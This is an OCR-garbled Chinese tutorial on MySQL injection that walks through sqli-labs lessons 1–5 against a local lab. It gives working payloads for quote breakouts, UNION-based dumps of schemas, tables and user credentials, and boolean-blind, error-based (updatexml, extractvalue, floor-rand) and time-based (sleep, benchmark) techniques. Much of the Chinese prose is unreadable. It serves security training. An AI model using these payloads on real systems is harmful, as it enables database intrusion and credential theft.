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BAIE B sqli-labs 2 4 JUFE R/ 1, ABEHEET 7 AT LA SR, MIARE N5 T . &
TR FEAS TR AR 1 sqli-labs, FrCARIHSRIC T o WK REG R S EEAN T,
KRR RS, A ERRORIF BRI N 25 MR Z AR PEA RN EIC T, AL/ MR A
PR ZIXRE, W B4 T — FASCBERE, AR ERMCATEES i A b A oG . ] —#4
REL SN N RRTE (BRVPREMECVFRSE, RAERAEE) , BIRES blog. Blog
558 T JaRE BE A pdf XA, HITEEE . AKAEE A, AR ZRORK T,
FITLLARESETAT , MALFE J5 A R] 22 HF el 75K, AT M1 JEAE 2 B AR AIgE 47 v & e
o EJafs RN G S E %R AA TR, AFEAE.

A 2 EEHXAN?

(L sql BfEE, 2K 2B TR, EEALAMIE, FFERS RN Z2HH— R
K, KIBERZ MG ERT . HAAR, 7% Ksre BE

() IRZ N sql 2 &, FRIRZ A GREMASE, X sql dA R LR A
ZUW, YUE TR EIRIA A 7T NF 2 4 2) 5. AN NAEE A B 2 sql A
filt, RIEBIX— M. R T, sa IEARNEAREZ, XMEAEMN! BOARSH TR, .
(3) LAHT H S e K0S T, KE AN T E N sql EdER. RN,
sql FEARIHE A B ARKER, ARG 20 A\ & ZM B payload I, FREERALEIZ . BT A7
TR B OB A 732, TIAN R AR R o e A Ay Bl i 2 SR T B B 1EAE 27 ST B N
XBITEEEAM?

UAE R B R 73 A = ANy, B AN B I A NS 1% 5 58 S5 I R LU
FESRTIH] .

(1 EJERS AT T 77 2, B BT i N 07 ONE B i 1 R R ok, FFE47 5 20 .
ALK R0 A — AN R IENGEAT “URZ” I T i, 7 AR R BRI AT B S B ) 75

(2) @ TRMATEG, FATHAAETEE A sqlmap. M FEH, T f# sqlmap FI{EH 5%,
BOREAR sqlmap VAR FIAE 7%, K 18U S, £0t— L8 @2 b sqlmap RS 7347
(3) HOSEM A, X—u s, RAMREE WKkRR, B o5 EAR TS . 1
AbHETE python 1G5 o [FIR, sql-labs R4t/ php 51, X BEAN AN LA — N R IE
i, RO R, T PR 0 — S AR R 5t 22 4 1k

Ps: LHIEAMBZNMIEANT LR, WA, HREME.

REEAEE?

(1) ZHIELE, T8, B ad 3 ) B4 fe 5K UK #E M

(2) BRASETR, ATLAERIEE (www.cnblogs.com/lcamry) Hi#k 3 — 2L 90k, 53
ATLAEBOIN, ROEH, AHET . S A7 LA RIS !

(3) BILABRE AT, B RME— 1 — kK.

REAERNE

Blog: www.cnblogs.com/lcamry

X & QQ: 646878467

URARIS AN TAEZ A RIOR S, I B, RIS AR, A PraR I




Mysgl ¥E A -—-sglilabs--Icamry

sQLl 1 sqli-labs /144

sQLl, sqlinjection, FATFKZ A sql iEA. il N sql, HE3C: Structured Query Language,
MM ERTES . 5 ISR EA Mysal, MSsal ,Oracle PLJ% Postgresgls Sql
S A RAEE B R H B — M. EFRA TR RS sql 1A T8 3R 21
RS, AR PHER T B — % e BRI G S, mEkre, fEPHE sql iHm)
s, FRATAT LA sql 1HA) . AT LEEHE SAT IRATAEZE AT AIEA), X HRTRATHE UL sql
HEN.

Ji B A () 2R P BRAT X B AN AT TELRI R T, A sqli-labs LA AR — N0 R, RAE
HIEE SR A2 sql TEN. Ps: A S8 A T B ELE R, 140 sqimap, A LLA sqlmap )
HEFDW AR EE, E2RANNEBEE TR, BEEH TR, XA T
B R e IR Z B AR TR B 7 A AR ER . i — PR BOZAEE R R A 25
ARAGSLBLI T, ARROZUHA S .

Ps: BUNAIT TAEREZIEZAT- G 2N A N3 TR, BrUaESE T e A A
[F A, (H2 A RE Ul 5 . X A ERERM 1. BANIFFEHEIRZHZ chrome &
BT, JEREKIAZIRIFE, FrUEE A LEE url 250k . )& H firefox, A hackbar.

Sqli-labs T#;

Sqli-labs & —ANEVEREF RS R, K] sql IR —NMEREAE. R HuEA:
http://dummy2dummies.blogspot.hk/, 8% 9 —LoRF], [E AR 2 182 N A £ MzfE
TR RN FRZIEF R T —EMCHAIN, 1E youtube ERTUIEE . ps: Fl
BEAVTEEOSTRKE . o o - BOEVHEL,

AL 8 B A L R A B, 335 30 E P k.

http://pan.baidu.com/s/1bo2L 1JT

Ps: ARG WA P DL B4 RS RRAR, T8 SEAE M 7195, hAbACSRAR B O, (HEL7E
KE, WA R

Sqli-labs T H #idi---Github 3KHX:  https://github.com/Audi-1/sqli-labs

(FEE|Z MR, ARSI T

Sqli-labs &

B2 Re DU NI

(1) apache+mysql+php

(2) Tomcat+mysql+java (E#i7r7FFHE)
R AT AR IS, HEFATE windows Al linux 433l 22 2 «
Windows ] LLH wamp. phpstudy. apmserv 28 EL #2235, linux TR 7EM FI R BFEHAT
24, Bl ubuntu T, BT FEAERAEFOOA apt-get AT %A X HEIAKR AN %
%7,
09 MR A 5% 2 windows ] wamp H & 2 1, linux P & H ubuntul4.04 ,
apache+mysql+php


http://dummy2dummies.blogspot.hk/，博客当中有一些示例，国内很多博客内容都是从该作者的博客翻译过来的。同时该作者也发了一套相关的视频，在youtube上可以查看。
http://dummy2dummies.blogspot.hk/，博客当中有一些示例，国内很多博客内容都是从该作者的博客翻译过来的。同时该作者也发了一套相关的视频，在youtube上可以查看。
https://github.com/Audi-1/sqli-labs
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R, R RET, 755 H 3 tomcat+java+rmysql AR S 28, ALK B4 22 3k
apache+mysql+php, FTUAFRAT 75 2423 tomcat+jre+java iE#% mysql 1] jar, BRI FEA L
YH.

Sqli-labs %2

B2 w50 N IR B3] web H T, linux ) apache A /var/www/html T, windows 1]
wamp fETE www H3E T o

124 sql-connections/db-creds.inc SCAE 24 H I mysql K5 265

<?php

//give your mysgl connection username n password

user ='root'
Sdbpass =

name ="security";
Shost = "localhost':

namel = "challenges";

4 user Al pass BRI mysql FIKS FN%505, T5lA) 127.0.0.1 BT, s

Setup/reset Database for labs

BEAT LR B B A, Ak, 2R BATHIAT T UG 1 .

% — B4 /page-1 Basic Challenges

Background-1 EFH41R

HEAE A 28— 2 mysql VA — LAl AT .
(1) AR E WA, G .
TN HDEAN R R B ) — BE, NMANNRSRCERS A 7. HEAS TS, 4R
FSEEEAN ) SRR R LA X B RESE A EEAR NI X Le RN 28, XA R R TR
FIENAT T R R IHEE, UREUE R ADNABUGR T, AR sql A L.
T MR 55 25 B B i

A TRNRT sQLiEA

AT 28

A EET )R S

AsSQlL BiE

«JF: TR saL B
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« FETWIE Y sQL HiE
<FETHRERT saL HiE
EF k@A R saL Bl (BERED
JETFRH
B BB O R
FETFE B FUGRF FIE N (96 B R A T #2m)
K — i
K PSS
—BrES R B SHE AT WEB LA T2, I TR AR
B XSS, TR ARG R), ToIREENT WEB N FEF P2 AR, J8 g e i 4 B 1)
FENT WEB F2AE ST, IXFEELAERR A A
ETFEANSRAE LK)
ACHE T FH PN SR SRR A
AE T cookie VF: 4.
AT RS AR EEN . GETLEE B

(2) RGN
I LA F R
version () ——MySQL x4«
user () ——8HEEH 4

database () —— % & E 4
@@datadir——¥4fE FE B 1%
. @@version compile os—¥p{E RS RA

(3) FIF e EE R

PREE R4 _http://www.cnblogs.com/Icamry/p/5715634.html

1. concat (strl, str2,...)——&A 7 RAFHIES: 7175

2. concat ws(separator, strl, str2,...)—— 5B MRAFHIEREFERF

3. group concat (strl, str2,...)——iEE MG FRH, JFLLE 50 kRE— %40k
YA LS, HSCHHATREEM 1 E, AIEX A RAEE— R E TS BT T .
(4) —MH T 2lnEA)

Ps:—+a] AFJ#E 4, url 3RS Url 2whd )5 H9#9%23
or 1=1-—+

“or 1=1-—+

“or 1=1-—+
Jor 1=1-——+

*Jor 1=1-——+

”) or 1=1-—+

”))or 1=1-—+

— AR

$id=$_GET[" id’ 1;
$sql="SELECT * FROM users WHERE id=" $id’ LIMIT 0,1”;

WAL B S, — DNRAARTIIRE ¢ A—ARadEme ¢, —BeRAPIRE
¥, &GRS 5 ECE R, ERRECRA -+ 58 # (%23)

(5) union #HAERFI/4H

[u—y

1w
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UNION #AERFH T & I M EZ/> SELECT 1A M45 A . THVERL, UNION MBI SELECT
TR DU AH [ AR 1 A1 o A A AR AL B 28 Y . [RIINF, 5% SELECT &A1
GG T 2 25 AR [F] o

SQL UNION &k

SELECT column name (s) FROM table namel

UNTON

SELECT column name(s) FROM table name2

TR BRIAME, UNION #R(ERFEHUAFME. R RvrE R MME, 15MH UNION ALL.
SQL UNION ALL &k

SELECT column name (s) FROM table namel

UNION ALL

SELECT column name(s) FROM table name2

34k, UNION g RAEHIF144 8255 T UNION HhEE—A> SELECT iEa)H 514 .

(6) sql FIZHIZH

X EPRAR UL T I8 AR S )

W — a8 Select * from users where id=1 and 1=1; X2kiEA]INH A REBIEZFEE id=1
FIN%S, and 1=1 BREMEH TEA? XEKRLEFE sql IBTPATIT T .

[ IS 3 A ] REERAT 1AE A5 FH 3 R 0 () i e 2 FH 3

Select * from admin where username=’" admin’ and password=" admin’

BATTLLAH 7 or 1=18 AENEERIA. FREE R4

KW KRB —MEHIZHE, S LARFTER TR S, MR sql iBR):

Select * from admin where username=" admin’ and password=" ’ or 1=1#’
Explain: B AIXAMERHAT G, RATEAFIE S TS %2 1 adnin H/ T
Ji & 7E where ¥ f) J5, AT BLE B =/ % 415 f) username=" admin’ and
password=" ’ or 1=1. =/ and fl or #ATiEHE. 7€ sql F, FRAT and FIBE LG
HKRT or KLHMEHK. KHATLLE R 5% (Ha R Z2EM, BA%M4 (H
b #£7R) ZMEH, a and b = false, FH—PFMHFFE AN FMPAT and 52, HHE=
MM or IBE, UM =AM 1=1 BIESSLH, FTUEREABANE 7. Fit ERENE
AR T .

Username='a

AND password="' OR
dmin’
TRUE \—Y—) FALSE TRUE
FALSE
\ V )
TRUE

(DSelect * from users where id=l1 and 1=1;

(@Select * from users where id=1 && 1=1;

(®Select * from users where id=1 & 1=1;

EREFHHHAXH? QMR P, RIEMEER 1d=1 KM 1=1 FAET 5185
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QME R id=1 M5 1 BHTARME, 1d=1 #2241F true, 5 1 T & 188 SREE 1,
FHHHT=HAE, 1=1,i8% 1 (ps: &ML KT

Ps: BLALHHATIIALIE S . TRATAT A Lo — ik T 5. 8. 3E. RS iEH . BE
FI B AT AR Z 7 B AT E NG R o B Wk 5 — A/ 5408 ascii W5, w5
1,2,4,8,16,32. . » o AT HIZHE, W LAMEREG—MHME, PHEERMZ ascii i{E. FHM
ascii {H&HERFRF. GaHEb)

() FEATE

/ FAER

BB

FER

ATt A7 fik 0 B 12 B8 B BRI, — MR S P A R 2 AR, Rk A
RZHB, B F G B . RAVEANRIE 2 e =R B a4, FE3RE) 21T 4
A T IEER, HIRBCA TR R T 5, e R .

DA — 28 mysql HIFEAERAE. JA30 mysql, SRJEIEE A i 2o 2 -

show databases;

= root@bt: /home/dhakkan

server version: 5.1.62-Bubuntud.16.084.1 (Ubuntu)
Copyright (c) 2808, 2011, Oracle and/or its affiliates. ALl rights reserved.
cle Corporati

es. Other names may be trademarks of their respective

¢ 'help;' or *\h" for help. Type '\c¢' to clear the current input sStatement

mysgl> show databases;
+ = S

| Database |

information schema |
mysal

IXANSIZEG FH B8 BE 448 securi ty, FTUABRATIERE security SRPUTITZ -

use security;
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* root@bt: /home/dhakkan

Lliates. Other names may be Trademarks of their respective

‘help: ' or ‘\h* for help. Type *\c' to clear the current input statement.

*
1
|
1
|
|
|

B

6 rows in s

g table informatior [ table apt n namey’
n turm aff feature t & quicker Startup with -A

a3 |_;||?r|

FATAT LA XA Kl e AT LR

show tables;

* root@bt: /home/dhakkan

openx
N J['lE'
SeCurity

Tl
rows in
= use security:

ding table informati completion of table and column names
can turn off 1 ture to get a quicker sTartup with -A

BUEIRATAT AR 2K A MY 5KER, AR BATRE T IR .

desc emails;
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reoct@bt: /home/dhakkan

Default Extra

NULL | suto increment
| NULL
varchar({28) | NULL

(B.08 sec)

int(3)
varchari3a) ND 3 ] NUEL

(8.860 s

TEARSEFATRT B BUhR, BAVETHE T R 8di 2, R information schema. FrUAFRAIE
M
use information_ schema
roat@bt: /home/dhakkan
MO | PRI | WOLL auto increment

| NO | | RULL

G rows 1m set (0

e information ‘ F 4 If l
e informa comgl® 1 AT gol Ben nanes
turn off this feature to get & quicker sStartup with . -A

IERATRE TR

show tables;
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root@bt: Thome/dhakkan

REFERENTIAL CONSTRAI
ROUTTRES
SCHEMATA

BUERAT R M A X KR

desc tables;

= root@bt: home/dhakkan

har{&4)
\BLE RAME
ABLE TYPE

J'a g d(

AVD ROW LENGTH
| DATA LEWGTH |
OATA LERGTH |
X _LEN
| DATA FREE
AUTO IRCREMENT
CREATE TIME

BUEIRARAE XA )

”

select table name from information schema. tables where table schema = “s

ecurity”;
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= root@bt: thome/dhakkan

|| AUTD INCREMENT
|| CREATE TIME

L11|1r|tl'“! wnsigned

biginti21l) wnsigned
varchar{z33)
varchar{ga)

1 I-F'f.-’-fl': {.""TIIJN\
|| TABLE COMMENT
I+

EE'I rows in set (0.08 sec)

|

|

|t

| .

H | uri.hafll"l
|

|

|

N

1le pname from inforsation schesa.tables where table schemas®secu

P L“hf},f‘lj' I

rows in set (0.08 sef)

XA E W, RATTLLU R &RERA .

Mysql 5 — M RGEHEZE information schema, 1FAEHE AT HIEUEERIM G R, —/BH,
FATF R L T CLEAT — e BN . AR 9 — IR AR

it Hitts e

select schema name from information_ schema. schemata

p kS

select table name from information_ schema. tables where table schema=" xxxxx’
TR R P

Select column name from information schema.columns where table name=" xxxxx’

RECEH A

Select %k from *kkk

RFIRZER ). lessl-less4

Less-1

FATAT ATE http://127.0.0.1/sqllib/Less-5/?id=1 J& [H BELEERIN— ©, K& — FRCR:

€ | [ 127.0.0.1/sqllib/Less-5/7id=1%27 Bo sy ﬁ Fﬂhé‘
£ @ Ee—T. 08 B lamry-88E (8 T (Ofq O amsak O blogs (I webzme 0By O ABEF senere Olof 1B O Lne@ESe O 6x » [

Welcome
You have an error in v syntax; check the mamual that for the rig use near *’1°° LINIT 0,1° at line 1

M EIRE R 2, AT LR B A B sql 1 17ELT sql IBAJMIEFHR 1" LUIMIT 0,1,
27— o XFOrEURE NEHRE B E R RATIT TR ENE R, IBBATEE TR I
BZRM © L2

248 ‘or 1=1-+

10
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DL Y sql TEA)ER AL T
Select ****** where id="1'or 1=1--+' LIMIT 0,1

1 127.0.0.1/sgllib/Less-1/?id=1%270r%201=1--+ 1
R EE—TF. e Blemy-2858 Ot DO#T (fq [ Esast Clblegs [ web=z [1=8% (KBS [serverzz O of IEF O lne@EEzz O

Welcome
Your Login name:Dumb
Your Password:1

A DL B IE 5 IR B
AL FTLAFIFH order by. Order by XTAG I EHE AT HEF, X BA =51%dE, A1 A REH
order by 3,1t 3 oA .

‘order by 4+ G5 R B RG S H

3 127.0.0.1/sqllib/Less-1/?id=1%27order%20by%204-- <ol Tl
EE—T . {B00E [ A D& O #T Ofg O #mset Oblogs (Jwebez (0 &B% O 4B Osenveg Oaf 085 O lne@Hee O wx

Welcome
Urlenowm column * 4 in " order clause’

55 S WNIRARRS H 4 N oA A 2 3E e N ?

Sql #&H) ~Ssql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

ld ZEAEPHEE sql IEAIRT, RN id #EATATAR) 0 DR 4 E, AT LAMIREE ‘or 1=1-+, EEM
& sql 1IBH) L2

SELECT * FROM users WHERE id="1or 1=1--+ LIMIT 0,1

X ZAEA)K or 1=1 AT LLNKIEE.

LAk, BEARAH union BRATVEAN, union FITER 2R AN sql ERJFEITEES . Union AT BAA
NIRRT LA B, I — A union BT S BIPIAS sql 1EA) L ER S ECE AR R A AT L. U
nion all 5 union X HEZIGIN 7 RERIIGE. FRATX BEARYE 1A background I, #H47
information_schema Z11R N .
http://127.0.0.1/sqllib/Less-1/?id=-1'union select 1,2--+
2 id PIEAEERARE P ANEERE, B RATAT L id=-1, P sql IBA)3EA TR A R AERT,
YR —AMEAE B A, AT BRI A B N A s B SR RALHT & LT IR
B RATHIE ] union [15HE

11


http://127.0.0.1/sqllib/Less-1/?id=-1�union

Mysql 8 A\ ---sqlilabs---Icamry

& 137.00.1/5qllib/Lese TELH ® Leancloud wB + & - 08
| EEmz [&] 2E—T s B lcamry - BEE | BEE L 86 | coding || #T [ fg || Bitacs | blogs | webZe® || 208 || ABEH | serverze® | af | B || psill
NT v| = & 5Ol XSS Encryption: Encodings Other-

Load URL  httpy//127.0.0.1/sqllib/Less-11/

Split URL
Execute
V| Enable Post data || Enable Referrer
»st data uname=1lhdmin'union select 1 database(#&passwd=1&submit=Submit

JETCRAFT - Servicess | [No information available]

12~ ACookies~ » €55~ [I=e~ EEA~ OREEE- BErNE- FRd- FEi- A8 EEEERE- [En-

Welcome

Username :

Password :

127.0.0.1/sqllib/Less-1/7id=-1%27union%20select? 1.2 3% 4 . M

EE—T. GonE [6] lcamry - BEE (084 (O#T Cliq CJsmsest [ blogs Clweb=e [ b O] servere (1 af C18E% (I lne@REse Oy

Welcome
Your Login name:?2
Your Password:3

PR A PE

http://127.0.0.1/sallib/Less-1/?id=-1%27union%20select%201,group concat(schema name),3%
20from%20information schema.schemata--+

BEEF Y sql i86) 4 SELECT * FROM users WHERE id="-1’union select 1,group_concat(schema
_name),3 from information_schema.schemata--+ LIMIT 0,1

127.0.0.1/sqllib 1/%id=-1%2 on%?2 201 p_col T
BE—F, torE B lamry-E=E O Ee O T (fq (I szt [ blogs (I webzz

O eiEt (O serverze O of O #8% O LnukEEze (0%

Welcome
Your Login
brmation schema, challenges, data, discuz, ips, jeecmsv6, jspxcms605, log, mysql, performance schema, phpmyw|
Your Password:3

& security B FE 4 £

12


http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+

Mysgl ¥E A -—-sglilabs--Icamry

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group concat(table name),3%20f
rom%20information schema.tables%20where%20table schema=%27security%27--+

BEEF Y sql i86) 4 SELECT * FROM users WHERE id="-1’union select 1,group_concat(table_n
ame),3 from information_schema.tables where table_schema='security’--+ LIMIT 0,1

) 127.0.0.1/sqllib/Less-1/7id=-1%27union%20select%201.group_concat(table_name),3%20from%20information_schema.tables%20where%201y%| Yea) ssmife
I b it servel == =

dE=—T. tetiE 6 lcamry

Welcome
Your Login name:emails, referers, uagents, users
Your Password:3

1% users F 1%

http://127.0.0.1/sallib/Less-1/?id=-1%27union%20select%201,group concat(column name),3%2
0from%20information schema.columns%20where%20table name=%27users%27--+

BEEF Y sql iB6) 4 SELECT * FROM users WHERE id="-1’union select 1,group_concat(column
_name),3 from information_schema.columns where table_name="users’--+ LIMIT 0,1

cat(column_name),3

§ 127.0.0.1/sq]lib/Less-1/?%id=-1%27union%20select%201
|EE—F . troutE [E] lcamry -@EE O O T g O e

OO B OO servers (O of OO0 BF OO LinxBEEZE OO

{t, (3 blogs [ webZ® (] %78

Welcome
Your Login name:USER, CURRENT CONNECTIONS, TOTAL CONNECTIONS, id, username, password
Your Password:3

A Ei
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,username,password%20from%20

users%20where%20id=2--+
ISP sql 1844 SELECT * FROM users WHERE id="-1’union select 1,username,password f
rom users where id=2--+ LIMIT 0,1
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http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,username,password%20from%20users%20where%20id=2--+
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,username,password%20from%20users%20where%20id=2--+

Mysgl ¥E A -—-sglilabs--Icamry

1 127.0.0.1/s5qllib/Less-1/?id=-1 on%?2
18E—TF ol [E]lamy-gEE O OaT

0O ems=tt Dbloq; O webz: 028y O KBSt Oenezt Oaf OEs O lneBERE O

Welcome
Your Login name:

Less1-less4 #E AT AR L3R union #EAEHEATIE AN . FHEBAIATER T .

Less-2

B CR515) dwmE st

1 127.0.0.1/sqllib/Less-2/?id=1%27 B vy g ERLE
BE—F , (s -\camry mEE OEe OaT Ofq O emsessd (O blogs [0 webze (0 =@y [ AESH servere Oaf 0185 O LinuBEEze O

bu have an error

FATXAZE] T — Mysql iR FIFEE 1, PEARFRATETRES R

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server v
ersion for the right syntax to use near “ LIMIT 0,1’ at line 1

IAEPAT B W TE AR

Select * from TABLE whereid =1’ ;

P AIX B A B B S AR T B, SR R
PRI IRATIAS R 25 R, SRS 1R

Select * from TABLE where id = (some integer value);

DAL, MWIFRFE FIRLA KT, D9 1R IZRE AR R B OR3P 18 0, FRATTAT DAVE R P R 0 A0«

http://localhost/sqli-labs/Less-2/?id=1—+

14
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127.0.0.1/sgllib/Less-2/?id=1--+ ]
SE—F A [&] Icamry Omg O#T Ofq (Oemsast (Jblogs (Jwebzz [ &@Z (0 ABFt Oseverie D of OBF O lne@EEez %

Welcome
Your Login name:Dumb
Your Password:1l

SERIES-2

PEACHS AT Ay M 31 sQuL i T

Ssql="SELECT * FROM users WHERE id=Sid LIMIT 0,1";
Xt id A& A

AT LA AN

or1=1

or1=1--+

HARM) payload 5 less1 1 —H, HFEEN less1 Hi « LHEIHAT,

KEABRT

Less-3

PAE H id="

15
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TEAARS 5, BAGRUEIXFE A — AR

MySQL server version for the right syntax to use near ””) LIMIT 0,1’ at line 1

REEEWE, TFRERHNERZ:

Select login_name, select password from table where id= (‘our input here’)

Pt CABRAT T AR A AR SR HEATVEN -

Pid=1") —+

Welcome l

SERIES-3

KRk, JAMERT IS B 2 AERD T, RIS S O R T
FEJEARRS ) saL A ) IE ), 314T:

$sql="SELECT * FROM users WHERE id=('$id") LIMIT 0,1";

A AR N -
" or '1'=('1"

)or1=1--+

H AN payload 5 less1 —H, RFEEH less1 117 « @I EY)

Less-4

A i ?id=1"

16
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3 127.0.0.1/sqllib/Less-4/%id=1" il &
[@ Ee—F. topitE B lamy-888 O#E% O#T Ofq O msest O blogs (webee (=85 O AESE Osenerz Oaf O 8% O Lnu@Bse (it

r *“177) LIRIT 0,1° at line 1

SERIES-4

TEARS 5, BAG MG FE A — R

You have an error in your SQL syntax; check the manual that corresponds to your MySQ
L server version for the right syntax to use near '"'1"") LIMIT 0,1' at line 1

XHEEEWAE, R id 280877 7 M () k.
Pt CABRAT T H AR A AR SR HEATVEN -

2id=1") —+

[3 127.0.0.1/sgllib/Less-4/?id=1")--+ |

fE=—F . e leamry - 2EE (D8t O #T Ofg (O ansaztk (O blogs (Owebze (O =BF O ABSH (Oserverzz O of 2% O linu@EEse O

Welcome
Your Login name:Dumb
Your Password:1

} SERIES-4

KRk, FAMERT DMF BRI 2 AERD T, RIS A O R T

EJRACAS ) sQL B HRES), 3147

$sql="SELECT * FROM users WHERE id=(“Sid”) LIMIT 0,1";

A LU I N A -
“) or "1”=(“1

“)yor 1=1 -+

H AN payload 5 less1 1—H, HFHFEN less1 [T« BN ) o

17
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Background-2 EiER0iHE

FOREE? BIEMAE sql ALY, sql EAPITIRIERRS, IEFEREEE A Re R 2
FIRTUG DI » BRAF, FRATH ZRIH — L ik AT AW e 22, XANIBERZ NEE. N
background-1 #1, FATAT LAAHITE B 50 =K
<L TAI/K SAL BiF
B TIFR] SQL B E
B THREE I SQL B iE

Ps: HIRRARZ T, ZXHARER P RKBUE— . (ps: 8255 B AT 207 EBTI 1
payload If, REARGEIFALAIENA? RAKBMMPNS FX 0, HREAMEIZEAE
BE MR R E B ARERVFZAS, AT m 3. D

1. BFMARSQLEE— Fa &2 4
FATRT AR P A Wit AT

BT 5 M % 2R BT http://www.cnblogs.com/Icamry/p/5504374.html GXNMEEEE )

Aleft (database(), 1)>” s’ //1eft () ER%E
Explain:database () S~ EZFR, left (a, b) IWAEMIFEEL a HIFT b L

Aascii(substr((select table name information schema.tables where tables schema

=database () limit 0,1),1,1))=101 —+ //substr O ¥, ascii() REL

Explain: substr(a, b, c) A b LLEITE, BECFRTH a ) ¢ KEZ. Ascii ORFEEDTRIFH
N ascii ff

Aascii(substr((select database()), 1,1))=98

AORD (MID ((SELECT TFNULL (CAST (username AS CHAR), 0x20) FROM security. users ORDER
BY id LIMIT 0, 1), 1, 1)) >98%23 //ORD () B %, MID() BRi%K

Explain: mid(a, b, c) W\ E b a5, #HEa FRFEER ¢ ff
Ord ) %A ascii O, BFFFHE N ascii fE
Arcgexp IENTEN

EMFEANAN: http://www. cnblogs. com/lcamry/articles/5717442. html

FHFANA: select user() regexp ~ la—z] ;
Explain: IEMFERMHEE, user O 4558 N root, regexp NILHL root HIIEN KA.

B AIAT UL select user() regexp ~ ro  HHHAT.

18
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Mysgl ¥E A -—-sglilabs--Icamry

HIER I RS G RON 1, A IERR IR S 855108 0.
RGP

| select * from users where id=1 and 1=(if ((user() regexp  'r’),1,0));

llselect * from users where id=1 and 1=(user() regexp 'ri’);

R 1 R A RIS AT, R A B2 R ), BN i SRR IE AR AR R R A R S A
T 0 B 1 AT I

Illselect * from users where id=1 and 1=(select 1 from information schema. tables

where table schema=" security’ and table name regexp ~ "usla-z]  limit 0,1);
ZXHEFIH select #ilE T —ANHWHER] . FATAFER I regexp FIAARI AT
'Aula-z]' -> '"Mus[a-z]' -> 'Muse[a-z]' -> '“user[a-z]' -> FALSE

WHATAITETCRC 5 R 1 23X BLORHE A — Exﬁﬁnn%ﬁiﬁ (50 HtaT LLAI o {H 2 Wil f/R7E
TAEHIB TSGR, FTEAA table name regexp * username$’ RHEATHIWT. "R MIFKRIEAT
UGHL, $4& Mgk RBIFUEFINT. 2 FEVET LS mysql (8 FMEET T k.

i, XBEE—ANAE? ®  table name A4 JIAS, FTATRAERE] T —A user, Wl niEH
iy 2

XHEATEE AU Linit 0, 1208 1imit 1, 1.

{HRRIXFIE R R, 1imit fEFTERTH select IBA)H, TIAJE regexp. APFRATIZ W
e, HSZAE regexp FIRATZELAL table name FINZE, HZ table name A KIA
7%, TATH regexp #REBEULAC R . AL B IRTEAJAUAL AT LLIEFE user, i AT PAVLEC HAD I,

Alike JLECTEN
ANEIR A IEMIZRALL, mysql 72 DLRC AR EERATTRT LA ke BEATULHEC

FH: select user() like ‘“ro%’

19
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2: BTN SOL BHE— Hi& payload ibf5 BB T4 RIER E B HK

ASelect 1, count (%), concat (0x3a, 0x3a, (select user()), 0x3a, 0x3a, floor (rand (0) *2))

a from information schema. columns group by a;

//explain: JWAME =N, —RFHFE concat 1H4L, —/& floor, HUfF 0 or 1, HHATEHEN
HE, =J&group by BT/, (HEMRFEEMRARIRME, KEUREA» 45 ZdE -2
HE G . AR nysql 1 bug MR#. H2IbAA TR 20K rand (0), rand () 7%
B2 R IRAAT

CA_ETEA) AT AR AL A R 2

select count(*) from information schema.tables group by concat(version(),
floor (rand (0) *2))

ARSI R A T, W LU A A aC

select count(*) from (select 1 union select null wunion
select !1) group by concat(version(), floor (rand(0)*2))

A5 rand WeAEF T AT LU A A R AR A

select min(@a:=1) from information schema.tables group by concat (passwo
rd, @a:=(@a+1)%2)

Aselect exp (T (select * FROM(SELECT USER())a)) //double H{H
A Y

//Exp ) JLL e NIRHIXT Bk fRASE 5.5.5 KL

T LA exp FRES W E: http://www. cnblogs. com/lcamry/articles/5509124. html

~

Asclect !(select * from (select user())x) — (ps:iXZ2W =) 0

//bigint BHEE; 02X 0 BAIUR, RKRRIMRALE 5. 5.5 AL E

20
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T LAZE W E bigint # & http://www. cnblogs. com/lcamry/articles/5509112. html

Acextractvalue (1, concat (0x7e, (select @@version), 0x7e))  se//mysql f xml F¥E i
ITERAME MY xpath BR%L, xpath EEE R

Aupdatexml (1, concat (0x7e, (select @@version), 0x7e), 1) //mysql XF xml HdE AT
R FME I xpath BEL, xpath TEVEEE IR

Aselect * from (select NAME CONST (version(), 1), NAME_CONST (version(), 1))x;
//mysql EEHREE, HAEEE T version, FrLAREE.

3:ETFHEM SQL B ERFEAN

A1f (ascii(substr(database(), 1, 1)) >115,0, sleep(5))%23  //if HIWiEH), &M,
AT sleep

Ps: BZ|LLFIXFFIH sleep () LR NIEH)

select sleep(find in set(mid(@@version, 1, 1), ’0,1,2,3,4,56,7,8,
9,.7));

ZABA) R BIRAE 0-9 Z [ERRA S —AL. (HRERANT LIRS FE LS, XMHERAT
Ui, DRAE TR A O S5 A R 2R I 52, BT L2 5o &5 SR 1 0 o

AUNTON SELECT TF (SUBSTRING (current, 1, 1)=CHAR (119), BENCHMARK (5000000, ENCODE ( ‘M
SG’ ,’ by 5 seconds’ )),null) FROM (select database() as current) as tbl;

//BENCHMARK (count, expr) Fl Tl s B O RE, S8k Eh, —NEPUTHIRIE
o ATRAEBREPATHT 00, 3R S5 R P, Sl I AR A3 E, H IR i) 2 15 3
TR R —MIUEIEIGE, fEEAT AR S KRR cpu B, HEFZAE sleep ()

FRBCIEATTE
AR T (RS B

Mysql BENCHMARK (100000, MD5(1))  or sleep(5)
Postgresql PG SLEEP (5) OR GENERATE SERIES (1, 10000)
Ms sql server WAITFOR DELAY ‘0:0:5’

Less-5

KHEB—TF, HIRZH blog ZRIIFEE copy I, KRIEMIEEZEEE. NIRRT
BE, BATRES R IEFHIEAE IR E you are in...., AREHEESHHELET,
P AFRATABERI ) L3 Tess1-4 1771k
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5s5ql="SELECT * FROM users WHERE id='$id 1
